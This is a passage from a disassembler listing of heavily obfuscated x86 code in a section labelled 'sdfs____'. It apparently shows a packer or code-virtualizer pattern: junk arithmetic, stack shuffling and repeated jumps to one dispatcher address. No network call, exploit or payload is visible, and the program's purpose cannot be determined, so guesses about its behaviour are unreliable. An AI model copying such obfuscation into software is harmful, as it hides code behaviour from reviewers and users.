esp, 4 mov [esp], ebx mov ebx, 48970909h push ecx jmp loc_58C9DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F345: ; CODE XREF: sub_594228-7EBAj mov ecx, 449B5FC6h push edx mov edx, 1D5D6642h xor ecx, edx pop edx add esi, ecx pop ecx sub esi, 2D870FDDh jmp loc_598BAB ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58F361: ; CODE XREF: sdfs____:0058CA75j mov [esp], ebp mov ebp, 52D318F5h mov ecx, 681A1863h xor ecx, ebp pop ebp add ecx, 257D518Bh jmp loc_597BD1 ; --------------------------------------------------------------------------- loc_58F37C: ; CODE XREF: sdfs____:0059735Dj sub esp, 4 mov [esp], ebx mov ebx, 3D6305FCh sub edx, 176C2116h sub edx, ebx add edx, 176C2116h mov ebx, [esp] add esp, 4 shl edx, 3 or edx, 67FD5528h jmp loc_591F09 ; --------------------------------------------------------------------------- loc_58F3AF: ; CODE XREF: sdfs____:0058FA6Aj push 5279h mov [esp], ebx push eax mov al, 0E7h or al, 0Eh jmp loc_59048A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58F3C1: ; CODE XREF: sub_59841F-C929j add eax, 4 xor eax, [esp+4+var_4] jmp loc_593381 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58F3CC: ; CODE XREF: sdfs____:0058EF4Cj push 0AD6h mov [esp], edx push eax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58F3DB: ; CODE XREF: sdfs____:0058D964j or [esp], eax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58F3E4: ; CODE XREF: sdfs____:0058DEA3j mov dl, 9Ch not dl jmp loc_590930 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F3ED: ; CODE XREF: sub_591435+360Bj push ecx sub esp, 4 mov [esp+12h+var_14+2], esi mov esi, 1C57316Eh dec esi xor esi, 29B02E1Ah jl loc_58D625 or esi, 1BB73311h jmp loc_594CCC ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F414: ; CODE XREF: sdfs____:0058ED28j ; sdfs____:00592104j dec ecx jmp loc_5923A8 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 sub ecx, edx pop edx push ecx jmp loc_58BAFB ; --------------------------------------------------------------------------- loc_58F435: ; CODE XREF: sdfs____:00590084j pop ecx not ecx xchg ecx, esi xor esi, 0CA2D687Bh push edx mov edx, 18C30825h jmp loc_58C2BB ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ecx mov ecx, 106073F9h shr ecx, 8 push ecx push ebp jmp loc_5916C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F461: ; CODE XREF: sub_591435+407Aj dec edi shr edi, 8 push ebp mov ebp, 72243488h sub edi, ebp pop ebp jmp loc_598377 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F473: ; CODE XREF: sub_594228-884j mov edi, 4AD11602h sub ecx, edi pop edi push ebx mov ebx, 0 jmp loc_597C7D ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_58F486: ; CODE XREF: sub_591AD9-347Bj pop ebp jmp loc_592EF8 ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- loc_58F48C: ; CODE XREF: sdfs____:00592495j add esp, 4 push edx mov edx, 4 add edi, edx pop edx add edi, 4 jmp loc_58BEE8 ; --------------------------------------------------------------------------- loc_58F4A6: ; CODE XREF: sdfs____:0058E66Cj add ebp, 427711B7h jmp loc_58CEC4 ; --------------------------------------------------------------------------- loc_58F4B1: ; CODE XREF: sdfs____:0058C16Ej mov [esp], edx mov dl, 0A2h sub esp, 2 mov [esp], dx not byte ptr [esp] pop dx add dl, 8Bh ja loc_58F25C push ebx mov bh, 9 jmp loc_5906C3 ; --------------------------------------------------------------------------- pop ebx mov ecx, [esp] pop eax loc_58F4DB: ; CODE XREF: sdfs____:00598D09j add ebp, 0C505C003h add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] idiv cl movzx cx, ah push small 0CBEh mov [esp], cx jmp loc_598DD2 ; --------------------------------------------------------------------------- loc_58F503: ; CODE XREF: sdfs____:0058DE9Cj sub bh, ch pop ecx push eax mov al, 4Bh add al, 2Fh inc al jmp loc_58BA10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58F512: ; CODE XREF: sub_5BB696-2E045j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_58F517: ; CODE XREF: sub_598A21-1FECj add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp shr eax, 0Ah jmp loc_591713 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5920A6 loc_58F52D: ; CODE XREF: sub_5920A6+42CAj xor edx, ebx jmp loc_5975DE ; END OF FUNCTION CHUNK FOR sub_5920A6 ; --------------------------------------------------------------------------- loc_58F534: ; CODE XREF: sdfs____:005976E8j sub al, bl jmp loc_59692A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F53B: ; CODE XREF: sub_591435-4B5Aj pop [esp+0Eh+var_10+2] pop esp mov fs:[edx], al jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F547: ; CODE XREF: sdfs____:005923ABj or ecx, 0F6F29BCh add ecx, 0A39F69C6h jmp loc_58DCD3 ; --------------------------------------------------------------------------- loc_58F558: ; CODE XREF: sdfs____:0058F0A6j mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 jmp loc_591DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58F573: ; CODE XREF: sub_5917C0+3j mov edi, ebp jmp loc_596AD7 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58F57A: ; CODE XREF: sdfs____:00590DE3j dec ebx jle loc_595364 shl ebx, 3 not ebx shr ebx, 6 sub esp, 4 mov [esp], edi push esi mov esi, 6A963467h mov edi, esi mov esi, [esp] add esp, 4 jmp loc_58DF5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F5A8: ; CODE XREF: sub_591435-59AEj add esp, 4 mov dx, word ptr [esp-4+arg_0] sub esp, 4 jmp loc_5938E9 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F5BA: ; CODE XREF: sdfs____:0058BF32j sub eax, edx push ebx mov ebx, 43684258h neg ebx push 10FDh mov [esp], eax mov eax, 734A74F9h add ebx, eax jmp loc_5979B0 ; --------------------------------------------------------------------------- loc_58F5D8: ; CODE XREF: sdfs____:0058BB9Aj pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_592355 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push esp pop ebx add ebx, 4 push 2B5Ah mov [esp], edi mov edi, 2 add ebx, edi mov edi, [esp] push edi jmp loc_58D817 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58F60C: ; CODE XREF: sub_59841F+240j mov ecx, 4 jmp loc_596346 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58F616: ; CODE XREF: sdfs____:005930CAj pop edi push 353Ch jmp loc_59781D ; --------------------------------------------------------------------------- loc_58F621: ; CODE XREF: sdfs____:0059575Ej add edx, ebx jmp loc_593745 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58F628: ; CODE XREF: sub_5962EB-31D7j pop eax add edx, ecx pop ecx sub esp, 4 mov [esp-8+arg_4], edi jmp loc_598B88 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F637: ; CODE XREF: sub_594228-D80j push [esp-6+arg_0+2] pop ecx jmp loc_58C595 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_58F640: ; CODE XREF: sub_59377D-D1Ej xor edx, esi mov esi, [esp+0Ch+var_C] jmp loc_5928F6 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_58F64A: ; CODE XREF: sdfs____:0059136Bj mov [esp], esi mov esi, 3B8038A4h sub esi, 3B8038A0h jmp loc_58EE5E ; --------------------------------------------------------------------------- loc_58F65D: ; CODE XREF: sdfs____:0058CE09j pop edx jmp loc_58C549 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F663: ; CODE XREF: sub_591435+59F2j jmp loc_58F96D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58F668: ; CODE XREF: sub_5917C0-115Aj pop esp xor esi, 2A3D4D2Ch and eax, esi pop esi shr eax, 12h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx not ecx push 2E81h mov [esp+4+var_4], eax jmp loc_590C07 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58F68C: ; CODE XREF: sdfs____:00597FC9j add edx, 4 push 64F3h jmp loc_5916A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F699: ; CODE XREF: sub_594228+F8Dj pop esi not esi add esi, 2A5BC7A2h and esi, 58C94159h jmp loc_58E35A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58F6AD: ; CODE XREF: sub_5962EB-67ABj ; sub_59214E+E7j add [esp-8+arg_4], 78D35A3Dh mov ecx, [esp-8+arg_4] jmp loc_591207 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F6BC: ; CODE XREF: sub_591435-5A17j mov ecx, esp push edi mov edi, 49DA418Eh inc edi sub edi, 49DA418Bh add ecx, edi pop edi jmp loc_594D40 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F6D3: ; CODE XREF: sdfs____:00596D61j jnp loc_58BC23 sub edx, 59AF5353h jns loc_596299 loc_58F6E5: ; CODE XREF: sdfs____:0058EE72j xor ecx, [esp] xor [esp], ecx jmp loc_595E94 ; --------------------------------------------------------------------------- loc_58F6F0: ; CODE XREF: sdfs____:00592BF6j ; sdfs____:0059655Dj jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58F6F5: ; CODE XREF: sub_591370+3516j sub al, 73h pop ecx push ecx jmp sub_595F04 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58F6FE: ; CODE XREF: sdfs____:0058DC0Fj add esp, 4 jmp loc_58FD55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58F706: ; CODE XREF: sub_59587A-6717j pop ebp push eax mov eax, edi push eax pop ebp pop eax mov edi, [esp-0Ah+arg_4+2] jmp loc_590E70 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_58F715: ; CODE XREF: sdfs____:00595D46j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push esp jmp loc_58DBD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59666E loc_58F728: ; CODE XREF: sub_59666E+5j pop ebp add esp, 4 add ebp, 4 push esi mov esi, 2 push ebx mov ebx, 5FBA44B1h sub ebp, ebx pop ebx jmp loc_58D3D7 ; END OF FUNCTION CHUNK FOR sub_59666E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58F749: ; CODE XREF: sdfs____:00595E75j ; sub_59576E+126Aj push dx not word ptr [esp+4+var_6+2] inc word ptr [esp+4+var_6+2] mov dx, word ptr [esp+4+var_6+2] add esp, 2 jmp loc_590688 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F75F: ; CODE XREF: sub_591435+70B3j pop esp add esp, 4 jmp loc_595AE2 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F768: ; CODE XREF: sdfs____:0058CBFBj sub eax, 28E6028h sub eax, ebx push ecx mov ecx, 28E6028h jmp loc_58DCF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F77A: ; CODE XREF: sub_594228+1D24j xor esi, 3E19768Ch jmp loc_591879 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp sub esp, 4 mov [esp], ebp mov ebp, 13F230C3h xor ebp, 41DC00EFh push ebp not dword ptr [esp] pop ebp shl ebp, 4 and ebp, 26DD5BBAh jmp loc_5976D2 ; --------------------------------------------------------------------------- loc_58F7B6: ; CODE XREF: sdfs____:005964CFj mov ecx, [esp] add esp, 4 push ebp mov ebp, 2 jmp loc_59535C ; --------------------------------------------------------------------------- loc_58F7C7: ; CODE XREF: sdfs____:00597280j mov ecx, esp jmp loc_590FA7 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_58EF75 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58BBBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596F8A loc_58F7DF: ; CODE XREF: sub_596F8A-8E98j add edi, 4 jmp loc_58CC3A ; END OF FUNCTION CHUNK FOR sub_596F8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58F7EA: ; CODE XREF: sub_5987BC-6C9Bj add bl, ah jmp loc_598CB3 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_58F7F1: ; CODE XREF: sdfs____:0059248Bj push ecx mov ecx, 0DAF76AEh add esi, ecx pop ecx mov ecx, [esp] add esp, 4 pop eax push 2252h mov [esp], edx push esi push esi mov esi, 47844CB0h sub dword ptr [esp+4], 2F2B5010h sub [esp+4], esi add dword ptr [esp+4], 2F2B5010h jmp loc_58CEFC ; --------------------------------------------------------------------------- loc_58F829: ; CODE XREF: sdfs____:00597A22j sub bl, al pop eax sub esp, 2 mov [esp], cx jmp loc_58DD42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F838: ; CODE XREF: sub_594228:loc_592AFBj add esi, 0A17C92E8h mov edx, esi jmp loc_591F0F ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F845: ; CODE XREF: sub_591435-A0Ej sub ecx, 3BAC6FB4h sub ecx, 6B9C5908h sub esp, 4 mov [esp+8+var_8], eax jmp loc_58BEF0 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F85C: ; CODE XREF: sdfs____:00594B18j dec esi jmp loc_58F08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DB37 loc_58F862: ; CODE XREF: sub_58DB37+35C0j add edi, ecx pop ecx sub esi, edi pop edi jmp loc_58DC2A ; END OF FUNCTION CHUNK FOR sub_58DB37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D925 loc_58F86D: ; CODE XREF: sub_58D925+Bj pop ecx push edi push [esp+arg_0] pop edi pop dword ptr [esp+0] pop esp push dword ptr [eax] jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58D925 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58F87F: ; CODE XREF: sub_5941BD+2264j shr ebx, 7 js loc_597A32 shl ebx, 4 shr ebx, 1 sub ebx, 0A7CE0381h push edx push ebp mov ebp, 50AA4EA5h mov edx, ebp pop ebp or ebx, edx mov edx, [esp+8+var_8] jmp loc_5929C1 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_598D6A ; --------------------------------------------------------------------------- loc_58F8AF: ; CODE XREF: sdfs____:00591B4Dj add eax, esi pop esi sub eax, 3DF372D9h jmp loc_593DA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58F8BC: ; CODE XREF: sub_5917C0+505j sub bl, 0A5h sub bl, cl add bl, 0A5h pop ecx push edx jmp loc_5956D1 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- mov cx, [esp] push 371Fh mov [esp], edi jmp loc_593F33 ; --------------------------------------------------------------------------- loc_58F8DC: ; CODE XREF: sdfs____:00595ED0j shr ecx, 4 jmp loc_591786 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58F8E4: ; CODE XREF: sub_5985AE-169Dj sub eax, ecx pop ecx sub eax, 715936A8h jmp loc_59271E ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F8F1: ; CODE XREF: sub_594228-475Bj xchg ecx, [esp-0Ah+arg_6] mov esp, [esp-0Ah+arg_6] xchg ebp, [esp-0Ah+arg_6] mov esp, [esp-0Ah+arg_6] and byte ptr [esp-0Ah+arg_6], al pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58F906: ; CODE XREF: sub_5BB696-2614Bj xchg eax, edi push eax mov eax, 4D392E31h xor edi, eax mov eax, [esp+1Eh+var_20+2] add esp, 4 xor ebx, edi pop edi loc_58F918: ; CODE XREF: sdfs____:00590B50j push eax push [esp+1Ah+var_1C+2] push [esp+1Eh+var_20+2] mov eax, [esp+22h+var_24+2] add esp, 4 sub esp, 4 mov [esp+22h+var_24+2], ebp push esp pop ebp push edi mov edi, 4 add ebp, edi pop edi push edi mov edi, 4 add ebp, 1CF44CD8h add ebp, edi sub ebp, 1CF44CD8h pop edi xchg ebp, [esp+22h+var_24+2] pop esp add esp, 4 jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58F960: ; CODE XREF: sub_5962EB-3DCDj add ebx, edi jmp loc_590A52 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_58F967: ; CODE XREF: sub_594F18-4683j pop esp jmp loc_59533D ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58F96D: ; CODE XREF: sub_591435:loc_58F663j add ebx, 0FFFFFFFFh push edi jmp loc_59832E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58F976: ; CODE XREF: sdfs____:005920CFj xor edx, 720E5BC8h mov ebx, edx mov edx, [esp] add esp, 4 jmp loc_58C28C ; --------------------------------------------------------------------------- loc_58F98C: ; CODE XREF: sdfs____:0058E8E7j mov edx, 900022Bh push esi jmp loc_58C65F ; --------------------------------------------------------------------------- loc_58F997: ; CODE XREF: sdfs____:005945AEj push edx mov edx, 6A9476DEh jmp loc_594816 ; --------------------------------------------------------------------------- loc_58F9A2: ; CODE XREF: sdfs____:005953C7j add edx, 896EE191h jmp loc_598AAA ; --------------------------------------------------------------------------- loc_58F9AD: ; CODE XREF: sdfs____:00590E50j xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_59429B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58F9BB: ; CODE XREF: sub_594228-6003j shr ebx, 4 jmp loc_596C6B ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58F9C3: ; CODE XREF: sdfs____:00598845j not ebp add ebp, 8DD27815h jmp loc_5903AC ; --------------------------------------------------------------------------- loc_58F9D0: ; CODE XREF: sdfs____:0059457Aj add [esp+8], ecx jmp loc_5971DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58F9D9: ; CODE XREF: sub_591370-260j pop ebx push ebp jmp loc_592523 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58F9E0: ; CODE XREF: sdfs____:005904D5j pop edi xchg eax, [esp] mov esp, [esp] cmp cl, al pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58F9EF: ; CODE XREF: sub_5941BD-72C6j pop edx xor eax, esi jmp loc_593791 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58F9F7: ; CODE XREF: sdfs____:00595AA3j add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_590223 ; --------------------------------------------------------------------------- loc_58FA05: ; CODE XREF: sdfs____:0058EDF4j jmp loc_58B9C5 ; =============== S U B R O U T I N E ======================================= sub_58FA0A proc near ; CODE XREF: sub_592F43-67C7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058E644 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059016D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059171D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591D0B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00592A84 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00592FE8 SIZE 0000000C BYTES push ebx push 63184048h pop ebx sub ebx, 0D764A94Ch jmp loc_58E644 sub_58FA0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58FA1C: ; CODE XREF: sdfs____:00590D34j sub ebx, 56E55FF5h jmp loc_596A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58FA27: ; CODE XREF: sub_5BB696-2AB1Aj add eax, ebx pop ebx sub esp, 4 mov [esp+1Ah+var_1C+2], ebp jmp loc_597E15 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_58FA35: ; CODE XREF: sdfs____:00597BDDj sub eax, 5ADD3732h jmp loc_58C7FC ; --------------------------------------------------------------------------- loc_58FA3F: ; CODE XREF: sdfs____:00592224j pop ecx mov esi, ebx pop ebx jmp loc_5971CE ; --------------------------------------------------------------------------- loc_58FA48: ; CODE XREF: sdfs____:00593CB9j xor edx, 0A1CAD6A4h sub edx, ebx jmp loc_595231 ; --------------------------------------------------------------------------- loc_58FA55: ; CODE XREF: sdfs____:0058C005j push cx mov cl, 3Ch add al, cl mov cx, [esp] add esp, 2 add al, ch sub al, 3Ch pop ecx jmp loc_58F3AF ; --------------------------------------------------------------------------- loc_58FA6F: ; CODE XREF: sdfs____:0058EA06j neg ecx xchg ecx, ebp neg ebp shl ebp, 1 xor ebp, 65F4534Ch add edx, ebp pop ebp sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_5906FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58FA91: ; CODE XREF: sub_591435-224Cj sub ecx, edx pop edx jmp loc_591819 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58FA99: ; CODE XREF: sdfs____:00590AB4j add edx, 22535FFBh push edi mov edi, 4479427Eh dec edi jmp loc_58D140 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58FAAB: ; CODE XREF: sub_594228+37D3j mov ebx, 2 add ebp, 35453EDDh add ebp, ebx sub ebp, 35453EDDh mov ebx, [esp-0Ah+arg_6] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58F8F1 ; --------------------------------------------------------------------------- loc_58FAD2: ; CODE XREF: sub_594228+879j push [esp-6+arg_6] pop edx pop [esp-6+arg_0+2] pop esp jmp loc_596214 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58FAE0: ; CODE XREF: sdfs____:0058C39Fj mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] jmp loc_58E6EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58FAF2: ; CODE XREF: sub_5917C0-3562j not [esp-4+arg_0] pop ebx neg ebx jmp loc_58D0A9 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58FAFD: ; CODE XREF: sdfs____:005910C9j mov dh, 55h mov ah, 2Eh xor ah, dh mov edx, [esp] jmp loc_596D81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58FB0B: ; CODE XREF: sub_594228-7374j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_58FB10: ; CODE XREF: sub_595678-71Cj xor ecx, 0D7961CA1h add ebp, ecx jmp loc_592B4E ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- loc_58FB1D: ; CODE XREF: sdfs____:00592AC0j push 47A8h mov [esp], edx jmp loc_595D6E ; --------------------------------------------------------------------------- loc_58FB2A: ; CODE XREF: sdfs____:00597083j mov eax, [esp] add esp, 4 jmp loc_58BB2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58FB35: ; CODE XREF: sub_5962EB-719Aj dec esi add esi, 7F5B33F5h xor edx, esi pop esi push edx jmp loc_58F6AD ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58FB45: ; CODE XREF: sub_5917C0-CECj add esp, 4 jmp loc_596F96 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58FB4D: ; CODE XREF: sdfs____:00592CFCj add edi, 27655276h jmp loc_59453F ; --------------------------------------------------------------------------- push 0 mov ebx, [esp] push eax jmp loc_598D90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58FB66: ; CODE XREF: sub_591435-E09j mov eax, esp add eax, 4 add eax, 4 jmp loc_58E2A4 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58FB75: ; CODE XREF: sdfs____:00593A23j pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] push edi jmp loc_59464F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58FB8C: ; CODE XREF: sub_591370+5B6Dj add eax, 517346D1h sub eax, 64B43C8h jmp loc_595F2C ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- push ebx mov ebx, esp add ebx, 4 jmp loc_598B6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58FBA9: ; CODE XREF: sub_591370-16A2j movzx eax, al mov dx, word ptr [esp-14h+arg_10] jmp loc_58ED34 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58FBB5: ; CODE XREF: sdfs____:0058CA94j xor ebp, [esp] mov esp, [esp] movsx ecx, al push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 push edx mov edx, 4 jmp loc_58BF2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58FBE3: ; CODE XREF: sub_591435-2959j pop esp push 5049h mov [esp+8+var_8], ebp jmp loc_597D3F ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58FBF1: ; CODE XREF: sub_594228-7C75j mov edx, 0C60157DFh add edi, edx pop edx jmp loc_591AE7 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58FBFE: ; CODE XREF: sub_591370+2035j ; sdfs____:00596A11j jge loc_5934E7 add esi, 0AD4ECA24h push eax mov dh, bh push ebx loc_58FC0E: ; CODE XREF: sdfs____:005963B1j add ebx, 4 xchg ebx, [esp-0Ch+arg_8] jmp loc_592A37 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58FC1C: ; CODE XREF: sdfs____:0058E064j push 473Eh mov [esp], esi jmp loc_5972BC ; --------------------------------------------------------------------------- loc_58FC29: ; CODE XREF: sdfs____:0058EF64j sub esp, 4 mov [esp], esp jmp loc_58E970 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58FC37: ; CODE XREF: sub_591435+163Dj pop ebx push 6BA2h mov [esp+0], ebx mov ebx, 0 add ebx, eax mov [ebx], cl push dword ptr [esp+0] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_594933 ; END OF FUNCTION 